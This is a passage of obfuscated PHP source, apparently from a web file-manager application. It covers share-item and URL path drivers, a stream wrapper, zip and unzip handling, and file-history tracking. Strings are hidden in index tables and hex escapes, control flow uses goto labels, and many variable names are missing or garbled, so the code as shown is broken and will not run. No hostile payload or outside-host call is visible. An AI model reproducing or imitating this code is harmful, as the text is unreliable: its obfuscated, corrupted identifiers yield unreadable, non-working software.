= $this->infoSimple($ϡޝ); return $Ƌ && $Ƌ[$Ⲿ[410]] == $Ⲿ[88] ? !0 : !1; } public function listPath($, $ = false) { $ȡ =& $_SERVER[]; if ($ == $ȡ[12]) { return !1; } $ߩ = array($ȡ[401] => $); if ($) { return $this->model->listSource($ߩ, -1); } return $this->model->listSource($ߩ); } public function has($, $ﮑ = false, $Í = null) { $ =& $_SERVER[]; $ = $this->infoWithChildren($); if ($ﮑ) { return array($[208] => $[$[208]], $[207] => $[$[207]]); } return $Í ? $[$[208]] : $[$[207]]; } public function listAll($) { $츑 = IO::info($this->pathParse[$_SERVER[][84]]); if (!$츑) { return array(); } return $this->model->listAll($); } public function getContent($Ț) { return $this->model->getContent($Ț); } public function setContent($ϑɬ, $ = '') { return $this->model->setContent($ϑɬ, $); } public function fileSubstr($, $, $) { return $this->model->fileSubstr($, $, $); } public function download($, $ = '') { $ = get_path_father($); $ = get_path_this($); $ = $this->model->fileInfoGet($); $ = IO::copy($[$_SERVER[][84]], $, !1, $); return $; } public function setModifyTime($ݮ˱, $ً = '') { $ƽ =& $_SERVER[]; if (!$ݮ˱) { return; } $this->model->where(array($ƽ[417] => $ݮ˱))->save(array($ƽ[85] => $ً)); } public function upload($, $υ, $籘 = false, $Ϛ = REPEAT_REPLACE) { $հ =& $_SERVER[]; $ɚ = $this->parse($); $嶸 = $this->model->addFile($ɚ[$հ[399]], $υ, $ɚ[$հ[84]], $籘, $Ϛ); return $this->getPathOuter($嶸); } public function uploadFileByID($Ǜ, $, $) { $ =& $_SERVER[]; $ך = $this->parse($Ǜ); $ȬԤ = $this->model->addFileByFileID($ך[$[399]], $, $ך[$[84]], $); return $this->getPathOuter($ȬԤ); } public function addFileByRemote($, $Ά, $ = array(), $Π = '', $˯ѻ) { $ =& $_SERVER[]; $ = $this->parse($); $Π = empty($Π) ? $[$[84]] : $Π; $ɘ = $this->model->addFileByRemote($[$[399]], $Ά, $Π, $, $˯ѻ); return $this->getPathOuter($ɘ); } public function uploadLink($覎, $ܔ = 0) { $Ǧ݆ =& $_SERVER[]; $ٲ = $this->parse($覎); $̂ = _get($GLOBALS[$Ǧ݆[7]], $Ǧ݆[1345]); $ = _get($GLOBALS[$Ǧ݆[7]], $Ǧ݆[1346]); $覎 = Model($Ǧ݆[609])->createFileName($ٲ[$Ǧ݆[84]], $̂, $); return IO::uploadLink($覎, $ܔ); } public function fileNameAuto($̶, $݊, $֥ = REPEAT_REPLACE, $ = false) { return $this->model->fileNameAuto($̶, $݊, $֥, $); } public function fileNameExist($ϊ, $Й) { return $this->model->fileNameExist($ϊ, $Й); } protected function _fileOut($, $ = false, $ = false, $ͷ = '', $ސ = false) { $ܹ =& $_SERVER[]; $ = $this->model->sourceInfo($); if ($[$ܹ[410]] == $ܹ[88]) { header($ܹ[1347]); die; } $ = $this->model->fileInfoGet($); $ͷ = $[$ܹ[176]] ? $[$ܹ[176]] : $ͷ; $Յ = isset($GLOBALS[$ܹ[1348]]) ? $GLOBALS[$ܹ[1348]] : $[$ܹ[32]]; if ($ސ) { return IO::fileOutServer($[$ܹ[84]], $, $Յ, $ͷ); } IO::fileOut($[$ܹ[84]], $, $Յ, $ͷ); } public function fileOut($֞, $Ӧ = false, $ = false, $ = '') { $this->_fileOut($֞, $Ӧ, $, $); } public function fileOutServer($ۼ֪, $ʬ = false, $ = false, $ҿٵ = '') { $this->_fileOut($ۼ֪, $ʬ, $, $ҿٵ, !0); } protected function _fileOutImage($Ἐ, $Ԯ = 250) { $ =& $_SERVER[]; $Ɛ = $this->model->pathInfo($Ἐ); if ($Ɛ[$[410]] == $[88]) { show_json($[1349] . $Ἐ, !1); } $Ѣ = $this->model->fileInfoGet($Ἐ); $Ѣ[$[32]] = $Ɛ[$[32]]; $Ѣ[$[169]] = $Ɛ[$[169]]; $GLOBALS[$[1348]] = $Ѣ[$[32]]; $GLOBALS[$[168]] = $Ѣ; IO::fileOutImage($Ѣ[$[84]], $Ԯ); } public function fileOutImage($, $̯ = 250) { $this->_fileOutImage($, $̯); } public function fileOutImageServer($Ҍ, $ = 250) { $this->_fileOutImage($Ҍ, $); } public function link($, $볞 = '') { $ж = $this->model->fileInfoGet($); return IO::link($ж[$_SERVER[][84]], $볞); } protected function parse($) { $읲 =& $_SERVER[]; if (strstr($, $읲[8]) === !1) { return array($읲[419] => intval($), $읲[84] => $읲[12], $읲[1344] => array()); } $Ρ = explode($읲[8], trim($, $읲[8])); if (count($Ρ) < 2) { show_tips(clear_html($) . $읲[1350]); } return array($읲[419] => intval($Ρ[0]), $읲[84] => $Ρ[1], $읲[1344] => array_slice($Ρ, 1)); } } class PathDriverDbShareItem extends PathDriverDB { public function __construct($ݡ) { $this->pathParse = $ݡ; $this->model = Model($_SERVER[][1343]); } public function getPathOuter($) { $ =& $_SERVER[]; if (!$) { return $; } $ = $this->parse($); return trim(KodIO::makeShare($this->pathParse[$[399]], $[$[399]]), $[8]); } protected function infoParse($, $ᴒ = false, $ = false) { $Ȟ =& $_SERVER[]; $팳 = $this->pathParse[$Ȟ[399]]; $ = trim($this->pathParse[$Ȟ[1176]], $Ȟ[8]); return Action($Ȟ[1351])->sharePathInfo($팳, $, $ᴒ); } public function infoFull($) { $ =& $_SERVER[]; $ߘ = explode($[8], trim($, $[8])); if (count($ߘ) > 1) { $ = implode($[8], array_splice($ߘ, 1)); $֨ = $this->model->pathInfoByPath($ߘ[0], $); if (!$֨) { return !1; } $this->pathParse[$[1176]] = $֨[$[402]]; } return $this->infoParse($); } public function listAll($) { $ =& $_SERVER[]; $ = IO::info($this->pathParse[$[84]]); if (!$) { return array(); } $Ɖ͢ = $this->model->listAll($); $ = Model($[601])->getInfo($[$[489]]); $ݜ = Action($[1351]); foreach ($Ɖ͢ as &$ͪ) { check_abort(); $ͪ[$[86]] = $ݜ->_shareItemeParse($ͪ[$[86]], $); } unset($ͪ); return $Ɖ͢; } } goto d̼; Cɶij: class PathDriverUrl extends PathDriverBase { static $_cacheHeader = array(); public function __construct($抖 = false) { } public function exist($ˀ) { $ = $this->info($ˀ); return $[$_SERVER[][201]]; } public function isFile($ȇ) { $ = $this->info($ȇ); return $[$_SERVER[][201]]; } public function isFolder($) { return !1; } public function size($뺹) { $ = $this->info($뺹); return $[$_SERVER[][76]]; } public function info($) { return $this->infoParse($); } public function infoAuth($) { return $this->infoParse($); } public function infoWithChildren($٥փ) { return $this->infoParse($٥փ); } public function infoFull($) { return $this->infoParse($); } private function infoParse($) { $ =& $_SERVER[]; $ = $this->header($); if (!$ || !$[$[754]]) { return !1; } $Ɛ = _get($, $[337], 0); $ڼ = array($[32] => $[$[32]], $[84] => $, $[33] => $[199], $[76] => intval($Ɛ), $[174] => get_path_ext($[$[32]]), $[1395] => $Ɛ > 0 && $[$[1518]], $[1396] => !1); return $ڼ; } private function header($ѧ) { $ =& $_SERVER[]; if (isset(self::$_cacheHeader[$ѧ])) { return self::$_cacheHeader[$ѧ]; } $Ϥ = isset($GLOBALS[$[1519]]) ? $GLOBALS[$[1519]] : !1; $GLOBALS[$[1519]] = !0; self::$_cacheHeader[$ѧ] = url_header($ѧ); $GLOBALS[$[1519]] = $Ϥ; return self::$_cacheHeader[$ѧ]; } public function hashSimple($, $ = false) { $ =& $_SERVER[]; $ɕ = $this->info($); if (!$ɕ || !$ɕ[$[201]]) { return !1; } $ = $ɕ[$[76]]; $ = 200; $˛ = 50; if ($ <= $ * $˛) { return md5($this->fileSubstr($, 0, $)) . $; } $۞ = intval($ / $˛); $ = $[12]; $ = timeFloat(); $ = 15; for ($ = 0; $ < $˛; $++) { if (timeFloat() - $ > $) { return !1; } $ł = $this->fileSubstr($, $۞ * $, $); if (!$ł) { return !1; } $ .= $ł; } $ .= $this->fileSubstr($, $ - $, $); return md5($) . $; } public function getContent($ђ) { return $this->fileSubstr($ђ); } public function fileSubstr($ۛ, $쭉 = 0, $퉕ܿ = -1) { $ =& $_SERVER[]; $ؿ = $this->info($ۛ); if (!$ؿ || !$ؿ[$[201]] && $ؿ[$[76]] > 1024 * 1024 * 10) { return !1; } if ($퉕ܿ === -1) { $퉕ܿ = $ؿ[$[76]]; } if ($퉕ܿ == 0) { return $[12]; } $Ĵ = array($[1520] . $쭉 . $[786] . ($쭉 + $퉕ܿ - 1)); $˒ = url_request($ۛ, $[230], !1, $Ĵ, !1, !1, 30); return $˒[$[1210]] ? $˒[$[1210]] : $[12]; } public function download($, $) { Downloader::start($, $); return $; } } class StreamWrapperIO { private $path; private $info; private $pose = 0; static $_fopenCache = array(); static $_chunkBuffer = array(); private $timeStart = 0; function stream_open($, $ԅ = '') { $this->info = $this->info($); $this->timeStart = timeFloat(); $this->path = $this->info[$_SERVER[][84]]; $this->pathOpen = $; if (!$this->info) { return !1; } if (count(self::$_chunkBuffer) > 100) { self::$_chunkBuffer = null; self::$_chunkBuffer = array(); } if (!isset(self::$_chunkBuffer[$])) { self::$_chunkBuffer[$] = array(); } self::$_fopenCache[$this->pathOpen] = $this; return $this->info ? !0 : !1; } function stream_read($ױ) { $ٺ = $this->fileSubstr($this->pose, $ױ); $this->pose += strlen($ٺ); return $ٺ; } public function stream_tell() { return $this->pose; } public function stream_seek($, $̯) { $ =& $_SERVER[]; if ($̯ == SEEK_SET) { $this->pose = $; } else { if ($̯ == SEEK_CUR) { $this->pose += $; } else { if ($̯ == SEEK_END) { $this->pose = $this->info[$[76]] + intval($); } } } if ($ < 0) { $this->pose = $this->info[$[76]] + $; } return !0; } public function stream_eof() { return $this->pose >= $this->info[$_SERVER[][76]]; } public function stream_close() { unset(self::$_fopenCache[$this->pathOpen]); return !0; } public function url_stat($, $) { $ʵ =& $_SERVER[]; $ = $this->info($); return array($ʵ[1521] => 0, $ʵ[1522] => 0, $ʵ[16] => 32768 + 511, $ʵ[1523] => 0, $ʵ[1524] => 0, $ʵ[1525] => 0, $ʵ[1526] => 0, $ʵ[76] => $[$ʵ[76]], $ʵ[1527] => $[$ʵ[1394]], $ʵ[1483] => $[$ʵ[85]], $ʵ[1482] => $[$ʵ[200]], $ʵ[1528] => 0, $ʵ[1529] => 0); } static $fileInfo = array(); public function info($ƅ) { $ڂ = $_SERVER[][1530]; if (isset(self::$fileInfo[$ƅ])) { return self::$fileInfo[$ƅ]; } if (substr($ƅ, 0, strlen($ڂ)) != $ڂ) { return !1; } self::$fileInfo[$ƅ] = IO::info(substr($ƅ, strlen($ڂ))); return self::$fileInfo[$ƅ]; } public static function read($, $, $) { if (!isset(self::$_fopenCache[$])) { $DZ = new StreamWrapperIO(); $DZ->stream_open($); self::$_fopenCache[$] = $DZ; } $DZ = self::$_fopenCache[$]; return $DZ->fileSubstr($, $); } public static function _read($颶, $, $ш) { $ =& $_SERVER[]; $릕 = fopen($颶, $[1398]); if (!$릕) { return $[12]; } $읐 = 8192; fseek($릕, $, SEEK_SET); $ₜ = $[12]; $՝ = 0; while ($՝ < $ш) { $ = min($읐, $ш - $՝); $ₜ .= fread($릕, $); $՝ += $; } fclose($릕); return $ₜ; } public function fileSubstr($ؖ, $) { $߆ =& $_SERVER[]; $ = $this->info[$߆[76]]; $Ӆ = $ؖ; $ = $; if ($ؖ < 0) { $ؖ = $ + $ؖ; } if ($ === !1) { $ = $ - $ؖ; } if ($ؖ + $ > $) { $ = $ - $ؖ; } if ($ <= 0) { return $߆[12]; } if ($ؖ < 0 || $ؖ >= $ || $ <= 0 || $ > 1024 * 1024 * 10) { throw new Exception("\x69\157\106\x69\x6c\x65\x52\x65\141\144\40\145\162\x72\157\x72\41\40\163\x74\141\x72\x74\x3d{$ؖ}\73\x6c\145\x6e\147\x74\150\x3d{$}\73\40\163\151\x7a\x65\75{$}\73"); } $ح = 64 * 1024; $ =& self::$_chunkBuffer[$this->path]; if (!$) { $ = array(); } $ = 0; $ = 0; $̢ = $߆[12]; foreach ($ as $ => $̢) { $ = intval($); $ = $ + strlen($̢); if ($ؖ >= $) { continue; } if ($ؖ >= $ && $ؖ + $ <= $) { return substr($̢, $ؖ - $, $); } break; } if (count($) > 100 || timeFloat() - $this->timeStart > 2.0) { $this->log($߆[1531], $߆[1532] . count($) . "\x3b\x73\x74\141\162\x74\x3d{$ؖ}\54\x6c\x65\x6e\x67\164\x68\75{$}\73\x70\x6f\163\145\x3a{$}\176{$}"); throw new Exception($߆[1533]); } $ = intval($ؖ / $ح) * $ح; $ϲƱ = ceil(($ؖ + $) / $ح) * $ح - $; $ = IO::fileSubstr($this->path, $, $ϲƱ); $[$ . $߆[12]] = $; ksort($); $ = substr($, $ؖ - $, $); return $; } private function log($ê, $) { $ =& $_SERVER[]; $ = timeFloat() - $this->timeStart; write_log(sprintf($[1534], $ê, $this->info[$[32]], $, $), $[1190]); } } class Message { function __construct() { } public function send($ߕ = '', $̯ = array(), $ۣ = "\x74\145\x78\164") { $ =& $_SERVER[]; $았 = array($[33] => $[1535], $[759] => $ߕ); if (in_array($ۣ, array($[1535], $[1536]))) { $았[$[33]] = $ۣ; } $̯ = array($[515] => isset($̯[$[515]]) ? $̯[$[515]] : $[12], $[600] => isset($̯[$[600]]) ? $̯[$[600]] : $[12]); if (empty($ߕ) || empty($̯[$[515]]) && empty($̯[$[600]])) { return !1; } $ = array($[1476] => $았, $[1537] => $̯); Hook::trigger($[1538], $); } } goto c眞ֱ; f: class IOArchive extends IO { function __construct() { parent::__construct(); } private static function local() { static $; if ($) { return $; } $Ⱥ = IO::init($_SERVER[][8]); return $Ⱥ; } private static function iconvSystem($ߵ) { return self::local()->iconvSystem($ߵ); } private static function iconvApp($塊) { return self::local()->iconvApp($塊); } public static function zipFolder($, $ = "\x7a\x69\x70", $Ȗ = '', $ = REPEAT_RENAME) { $͆ =& $_SERVER[]; $ = IO::listPath($); if (!$) { return !1; } $ = array_merge($[$͆[82]], $[$͆[83]]); return self::zip($, $, $Ȗ, $); } public static function zip($ɤ, $ = "\x7a\x69\x70", $̕ = '', $ث = REPEAT_RENAME) { $ݝ =& $_SERVER[]; if (is_string($ɤ) && $ɤ) { $ɤ = array(array($ݝ[84] => $ɤ)); } $ = self::init($ɤ[0][$ݝ[84]]); $ = self::info($ɤ[0][$ݝ[84]]); $ = $ݝ[12]; $ = $ݝ[12]; $ξ = $ݝ[12]; if ($̕) { $ = get_path_father($̕); $ξ = get_path_this($̕); } else { $ = self::pathFather($[$ݝ[84]]); $ξ = $[$ݝ[32]] . $ݝ[10] . $; if (count($ɤ) > 1) { $ = IO::info($); $ξ = $[$ݝ[32]] . $ݝ[10] . $; } } if ($->getType() == $ݝ[106]) { $ɢԯ = self::init($); $߽ = $ɢԯ->getType() == $ݝ[106] ? $ : get_path_father($->path); $߽ = rtrim($߽, $ݝ[8]) . $ݝ[8]; mk_dir($߽); } else { $ = TEMP_FILES . $ݝ[1191] . time() . rand_string(8) . $ݝ[8]; mk_dir($); file_put_contents($ . $ݝ[1192], $ݝ[12]); $߽ = $; } $ = IO::info($߽); if (!$ || !$[$ݝ[202]]) { show_json(LNG($ݝ[1193]), !1); } $̡ = self::zipFileList($ɤ, $); foreach ($̡ as $챹 => $) { $̡[$챹] = self::iconvSystem($); } $ԧ = get_filename_auto($߽ . $ξ, $ݝ[12], $ث); KodArchive::create(self::iconvSystem($ԧ), $̡); if (!IO::exist($ԧ)) { if ($) { del_dir($); } show_json(LNG($ݝ[1194]), !1); } if (!$) { return $ԧ; } $ͺ = self::move($ԧ, $, $ث); if ($) { del_dir($); } if (!$ԧ) { show_json(LNG($ݝ[1194]), !1); } return $ͺ; } public static function unzip($ע, $ʌ, $ϫ = "\x2d\x31", $ = "\162\145\160\x6c\x61\143\x65") { $˯ =& $_SERVER[]; $ = parent::info($ע); if (!$) { show_json(LNG($˯[1195]), !1); } $Η = IO::infoFull($ʌ); if (!$Η) { $ʌ = IO::mkdir($ʌ); } if (isset($Η[$˯[402]]) && trim($Η[$˯[84]], $˯[8]) != trim($ʌ, $˯[8])) { $ = KodIO::make($Η[$˯[432]]); $ = IO::fileNameAuto($, $Η[$˯[32]], REPEAT_RENAME_FOLDER, !0); $ʌ = IO::mkdir($ . $); } $ϫ = $ϫ && $ϫ != $˯[1196] ? @json_decode($ϫ, !0) : -1; $ɻ = self::unzipPart($ע, $ϫ); if (!$ɻ || !IO::exist($ɻ[$˯[199]])) { show_json(LNG($˯[105]), !1); } $ = $ɻ[$˯[1197]][count($ɻ[$˯[1197]]) - 1]; if ($[$˯[1198]] == -1 || substr($[$˯[32]], -1, 1) == $˯[8]) { $虖 = $ɻ[$˯[1199]] . rand_string(10) . $˯[8]; mk_dir($虖); $ꚿ = count($ɻ[$˯[1197]]) == 1 ? IO::ext($ע) : get_path_ext($ɻ[$˯[199]]); $Ѡ = KodArchive::extract(self::iconvSystem($ɻ[$˯[199]]), $虖, $[$˯[1198]], $, $ꚿ); self::unzipErrorCheck($Ѡ, array($˯[1200], $ע, $ꚿ, $ʌ, $ɻ)); Hook::trigger($˯[1201], $虖); recursion_dir($虖, $عĴ, $, 0); $ = array_merge($عĴ, $); $Ӓ = array(); foreach ($ as $ə) { $δ = IO::move(self::iconvApp($ə), $ʌ, $); if ($δ) { $Ӓ[] = $δ; } } del_dir($虖); } else { $δ = IO::move($ɻ[$˯[199]], $ʌ, $, get_path_this($[$˯[32]])); if ($δ) { $Ӓ[] = $δ; } } return $Ӓ ? $Ӓ : !1; } public static function unzipList($啶) { $ފ =& $_SERVER[]; $ˮ = isset($啶[$ފ[1202]]) ? $啶[$ފ[1202]] : !1; $ = isset($啶[$ފ[1198]]) ? @json_decode($啶[$ފ[1198]], !0) : -1; $ = self::unzipPart($啶[$ފ[84]], $); if (!$ || !IO::exist($[$ފ[199]])) { show_json(LNG($ފ[105]), !1); } $ = $[$ފ[1197]][count($[$ފ[1197]]) - 1]; $ = in_array(IO::ext($[$ފ[199]]), array($ފ[313], $ފ[1203], $ފ[1204], $ފ[1205], $ފ[1206], $ފ[1207])); if (!$ˮ && ($[$ފ[1198]] == -1 || $)) { $ = $[$ފ[1199]] . get_path_this($[$ފ[199]]) . $ފ[1208]; if (!IO::exist($)) { $Ȫ = $[$ފ[1198]] == -1 ? get_path_ext(IO::pathThis($啶[$ފ[84]])) : get_path_ext($[$ފ[199]]); $ڻߺ = KodArchive::listContent(self::iconvSystem($[$ފ[199]]), !0, $Ȫ); self::unzipErrorCheck($ڻߺ, array($ފ[1209], $啶, $)); @file_put_contents($, json_encode($ڻߺ[$ފ[1210]])); } return @json_decode(IO::getContent($), !0); } IO::fileOut($[$ފ[199]], $ˮ, get_path_this($[$ފ[32]])); die; } private static function zipFileList($Ϲ, $ = false) { $ =& $_SERVER[]; $̊ = array(); foreach ($Ϲ as $) { $ = $[$[84]]; if ($) { $ = self::copy($[$[84]], $, $[822]); } else { $Ԇ = self::init($[$[84]]); if ($Ԇ->getType() == $[106]) { $ = $Ԇ->path; } } if ($ && self::local()->exist($)) { $̊[$[$[84]]] = $; } } if (!empty($̊)) { return array_values($̊); } show_json(LNG($[1173]), !1); } private static function localFilePath($ĸ) { $ =& $_SERVER[]; $ = KodIO::parse($ĸ); if ($[$[33]] == KodIO::KOD_SOURCE) { $ւ = Model($[829])->fileInfoGet(KodIO::sourceID($ĸ)); if (!$ւ[$[84]]) { show_json($[1211], !1); } $ĸ = $ւ[$[84]]; } $ = self::init($ĸ); if ($->pathParse[$[1158]]) { $ĸ = $->pathParse[$[1158]]; $ = self::init($ĸ); } $؞§ = $->getType(); if ($؞§ == $[106] || $؞§ == $[1212]) { if (!$->exist($->path)) { show_json(LNG($[105]), !1); } return $->path; } return !1; } public static function unzipPart($װ, $ = -1) { $Ϳ =& $_SERVER[]; $ = IO::pathThis($װ); if (!$ || $ == -1) { $Ň = array(array($Ϳ[32] => $, $Ϳ[1198] => -1)); $Ň[0][$Ϳ[1213]] = $Ň[0][$Ϳ[32]]; } else { if (is_array($)) { $Ň = $; $ = count($Ň) - 1; for ($̜ = 0; $̜ <= $; $̜++) { $Պ = $Ň[$̜]; $Dž = get_path_this($Պ[$Ϳ[32]]) . (checkExtSafe($Պ[$Ϳ[32]]) ? $Ϳ[12] : $Ϳ[1214]); $Ň[$̜][$Ϳ[1213]] = $Ϳ[1215] . intval($Պ[$Ϳ[1198]]) . $Ϳ[386] . $Dž; if ($̜ == 0) { continue; } $Ň[$̜][$Ϳ[1213]] = $Ň[$̜ - 1][$Ϳ[1213]] . $Ϳ[1216] . $Ň[$̜][$Ϳ[1213]]; } } } if (!is_array($Ň) || count($Ň) == 0) { return !1; } $ = $Ň[count($Ň) - 1]; if (!IO::exist($װ)) { return !1; } $ = TEMP_FILES . $Ϳ[1217] . kodIO::hashPathSafe($װ) . $Ϳ[8]; $ݙ = $ . $[$Ϳ[1213]]; mk_dir($); file_put_contents(TEMP_FILES . $Ϳ[1192], $Ϳ[12]); if (IO::exist($ݙ)) { return array($Ϳ[199] => $ݙ, $Ϳ[1197] => $Ň, $Ϳ[1199] => $); } $ = self::localFilePath($װ); if (!$) { $ = $ . $Ϳ[1218]; if (!IO::exist($)) { self::copy($װ, $, !1, get_path_this($)); } } if (!$ || !IO::exist($)) { return !1; } if ($[$Ϳ[1198]] == -1) { return array($Ϳ[199] => $, $Ϳ[1197] => $Ň, $Ϳ[1199] => $); } $ = $; foreach ($Ň as $̜ => $Պ) { if (!$Պ || $Պ[$Ϳ[1198]] == $Ϳ[1196]) { break; } if (substr($Պ[$Ϳ[32]], -1, 1) == $Ϳ[8]) { break; } $ = in_array(get_path_ext($Պ[$Ϳ[1213]]), array($Ϳ[313], $Ϳ[1203], $Ϳ[1204], $Ϳ[1205], $Ϳ[1206], $Ϳ[1207])); $淞 = $̜ == count($Ň) - 1 && $; $֨ = $ . $Պ[$Ϳ[1213]]; $ = $ . get_path_this($Պ[$Ϳ[32]]); if (IO::exist($֨)) { $ = $֨; continue; } $ɧ = $̜ == 0 ? get_path_ext($) : get_path_ext($); $ = KodArchive::extract(self::iconvSystem($), $, $Պ[$Ϳ[1198]], $Ԫ, $ɧ); self::unzipErrorCheck($, array($Ϳ[1219], $װ, $Ň, $Պ, $֨)); if (IO::exist($)) { IO::rename($, get_path_this($֨)); } $ = $֨; } $ݙ = $; return array($Ϳ[199] => $, $Ϳ[1197] => $Ň, $Ϳ[1199] => $); } private static function unzipErrorCheck($, $ = false) { $ =& $_SERVER[]; if ($[$[1220]]) { return !0; } write_log(array($[1221], $, $), $[1222]); show_json($[1223] . json_encode($[$[1210]]), !1); die; } } class IOHistory { public static $_historyBase = ''; function __construct() { } public static function bindEvent() { $ =& $_SERVER[]; $ﶩ = $GLOBALS[$[6]][$[89]]; if ($ﶩ[$[1224]] != 1) { return; } if ($ﶩ[$[1225]] <= 0) { return; } if (isset($_REQUEST[$[1226]]) && $_REQUEST[$[1226]] == $[88]) { return; } Hook::bind($[1227], $[1228]); Hook::bind($[1229], $[1230]); Hook::bind($[1231], $[1232]); Hook::bind($[1233], $[1234]); Hook::bind($[1235], $[1236]); Hook::bind($[1237], $[1238]); } public static function eventBeforeUpload($Է) { if ($Է[3] && $Է[3] != REPEAT_REPLACE) { return; } $ = self::parsePath($Է[0]); if (!$) { return; } self::add($); } public static function eventBeforeEdit($诡) { $ɍ = self::parsePath($诡[0]); if (!$ɍ) { return; } self::add($ɍ); } public static function eventBeforeCopyFile($, $칖, $, $ώ, $α, $) { $ =& $_SERVER[]; if (isset($->_data[$[1162]]) && $->_data[$[1162]]) { return; } $ʭ = $->getPathOuter($ώ); $ = self::parsePath($ʭ); if (!$) { return; } self::add($); } public static function eventBeforeRename($) { $ƣч =& $_SERVER[]; $Њ = self::parsePath($[0]); if (!$Њ) { return; } $ = self::checkInHistory($Њ); if (!$) { return; } if ($[$ƣч[33]] == $ƣч[199]) { $Ȃ = self::listData($Њ); if ($Ȃ && $Ȃ[$ƣч[369]]) { self::moveHistory($Њ, $[1]); } } else { IO::rename($[$ƣч[84]], $[1]); } } public static function eventBeforeMove($Ⴠ) { $̥ =& $_SERVER[]; $ = self::parsePath($Ⴠ[0]); if (!$) { return; } $乖 = self::parsePath($Ⴠ[1]); if (!$乖) { return; } $ = $Ⴠ[3]; $ = self::checkInHistory($); if (!$) { return; } $ϡ = self::pathHistory($乖); if ($[$̥[33]] == $̥[199]) { $ = self::listData($); $ΰ = rtrim($乖, $̥[8]) . $̥[8] . ($ ? $ : get_path_this($)); $ﴩ = self::listData($ΰ); if ($ && $[$̥[369]] && $ﴩ && $ﴩ[$̥[369]]) { return self::clear($); } if ($ && $[$̥[369]]) { self::moveHistory($, $, $ϡ); } } else { IO::move($[$̥[84]], $ϡ, !1, $); self::clearEmptyFolder(IO::pathFather($[$̥[84]])); } } public static function eventAfterRemove($ب, $) { $Ӽ =& $_SERVER[]; if (!$) { return; } $ = self::parsePath($ب[0]); if (!$) { return; } $ݶ = self::checkInHistory($); if (!$ݶ) { return; } if ($ݶ[$Ӽ[33]] == $Ӽ[199]) { $ܲ = self::listData($, !1); if ($ܲ && $ܲ[$Ӽ[369]]) { self::clear($, !1); } } else { IO::remove($ݶ[$Ӽ[84]]); self::clearEmptyFolder(IO::pathFather($ݶ[$Ӽ[84]])); } } private static function checkInHistory($) { $ = self::pathHistory($); if (!IO::exist($)) { $ .= $_SERVER[][1239]; } return IO::exist($) ? IO::info($) : !1; } private static function parsePath($) { $ۄ =& $_SERVER[]; if (!$) { return !1; } if ($GLOBALS[$ۄ[1240]]) { return; } $҂ = KodIO::parse($); $ۡ = $҂[$ۄ[33]]; $띋 = !$ۡ || $ۡ == KodIO::KOD_IO || $ۡ == KodIO::KOD_SHARE_ITEM; if (!$띋 || !$҂[$ۄ[1241]]) { return !1; } if (substr($, 0, strlen(DATA_PATH . $ۄ[1242])) == DATA_PATH . $ۄ[1242]) { return !1; } if ($ۡ == KodIO::KOD_SHARE_ITEM) { $ڶ = IO::init($); if ($ڶ->pathParse[$ۄ[1158]]) { return self::parsePath($ڶ->pathParse[$ۄ[1158]]); } return !1; } if (!self::$_historyBase) { self::$_historyBase = self::getBasePath(); } $ = array(self::$_historyBase, TEMP_PATH, BASIC_PATH . $ۄ[1243]); foreach ($ as $ߙ) { if (!$ۡ && substr($, 0, strlen($ߙ)) == $ߙ) { return !1; } } self::log($GLOBALS[$ۄ[1153]] . $ۄ[1244] . $); return $; } private static function pathHistory($ڱۮ) { $Ϋ =& $_SERVER[]; $ҿ = self::$_historyBase . ltrim(KodIO::clear($ڱۮ), $Ϋ[8]); $ҿ = str_replace(array($Ϋ[1245]), array($Ϋ[1246]), $ҿ); return $ҿ; } public static function log($) { } public static function historyCount($) { $쎡 =& $_SERVER[]; $ = array(); $ = array(); foreach ($ as $Ѯ) { $ = get_path_father($Ѯ); if (!$[$]) { $[$] = array(); } $[$][] = get_path_this($Ѯ); } foreach ($ as $ => $) { $씏 = self::parsePath($); if (!$씏) { continue; } foreach ($ as $ڤ) { $ = self::listData(rtrim($씏, $쎡[8]) . $쎡[8] . $ڤ, !1); if ($ && $[$쎡[369]]) { $[rtrim($, $쎡[8]) . $쎡[8] . $ڤ] = count($[$쎡[369]]); } } } return $; } public static function add($) { $ݝ =& $_SERVER[]; $ϰ = self::listData($); if (!$ϰ) { return; } $ũ = Model($ݝ[774])->get($ݝ[1247]); $Ø = $GLOBALS[$ݝ[6]][$ݝ[89]][$ݝ[1225]]; $ޠ = $ũ == $ݝ[1248] ? min(5, $Ø) : $Ø; if ($Ø <= 0) { return; } $̃ = IO::info($); $殃 = $ϰ[$ݝ[369]]; if ($̃[$ݝ[76]] == 0) { return; } if ($̃[$ݝ[76]] >= 1024 * 1024 * 500) { return !1; } $ = IO::hashSimple($); if ($殃 && $殃[0][$ݝ[177]] == $) { return !0; } if (array_key_exists($ݝ[202], $̃) && !$̃[$ݝ[202]]) { return !1; } $ = short_id(time()); $ = array($ݝ[399] => $, $ݝ[177] => $, $ݝ[32] => $̃[$ݝ[32]] . $ݝ[10] . date($ݝ[1249]) . rand_string(1), $ݝ[76] => $̃[$ݝ[76]], $ݝ[454] => USER_ID, $ݝ[200] => time(), $ݝ[1250] => $ݝ[12]); IO::mkdir($ϰ[$ݝ[1251]]); $͇ = IO::copy($, $ϰ[$ݝ[1251]], !1, $[$ݝ[32]]); if (!$͇) { self::clearEmptyFolder($ϰ[$ݝ[1251]]); return !1; } array_unshift($殃, $); if (count($殃) > $ޠ) { $ = array_slice($殃, $ޠ); foreach ($ as $ۂ) { IO::remove($ϰ[$ݝ[1251]] . $ۂ[$ݝ[32]]); } $殃 = array_slice($殃, 0, $ޠ); } return self::saveData($ϰ[$ݝ[1252]], $殃); } public static function remove($隷, $Ҍ) { $ڛ =& $_SERVER[]; $ = self::listData($隷); $ = array(); if (!$) { return !1; } foreach ($[$ڛ[369]] as $ذǓ) { if ($ذǓ[$ڛ[399]] == $Ҍ) { IO::remove($[$ڛ[1251]] . $ذǓ[$ڛ[32]]); continue; } $[] = $ذǓ; } return self::saveData($[$ڛ[1252]], $); } public static function clear($ɞ, $ = true) { $֍ =& $_SERVER[]; $ = self::listData($ɞ, $); if (!$) { return !1; } foreach ($[$֍[369]] as $) { IO::remove($[$֍[1251]] . $[$֍[32]]); } return self::saveData($[$֍[1252]], array()); } public static function moveHistory($灞, $љ = '', $ = '') { $ʢ =& $_SERVER[]; $ = self::listData($灞, !1); if (!$ || !$[$ʢ[369]]) { return !1; } $ӏ = $ʢ[1239]; $љ = $љ ? $љ : get_path_this($灞); $ = $ ? $ : $[$ʢ[1251]]; $ = substr(get_path_this($[$ʢ[1252]]), 0, -strlen($ӏ)); foreach ($[$ʢ[369]] as $ƕ => $) { $˞ = $љ . substr($[$ʢ[32]], strlen($)); $Ѭ = IO::move($[$ʢ[1251]] . $[$ʢ[32]], $, !1, $˞); if ($Ѭ) { 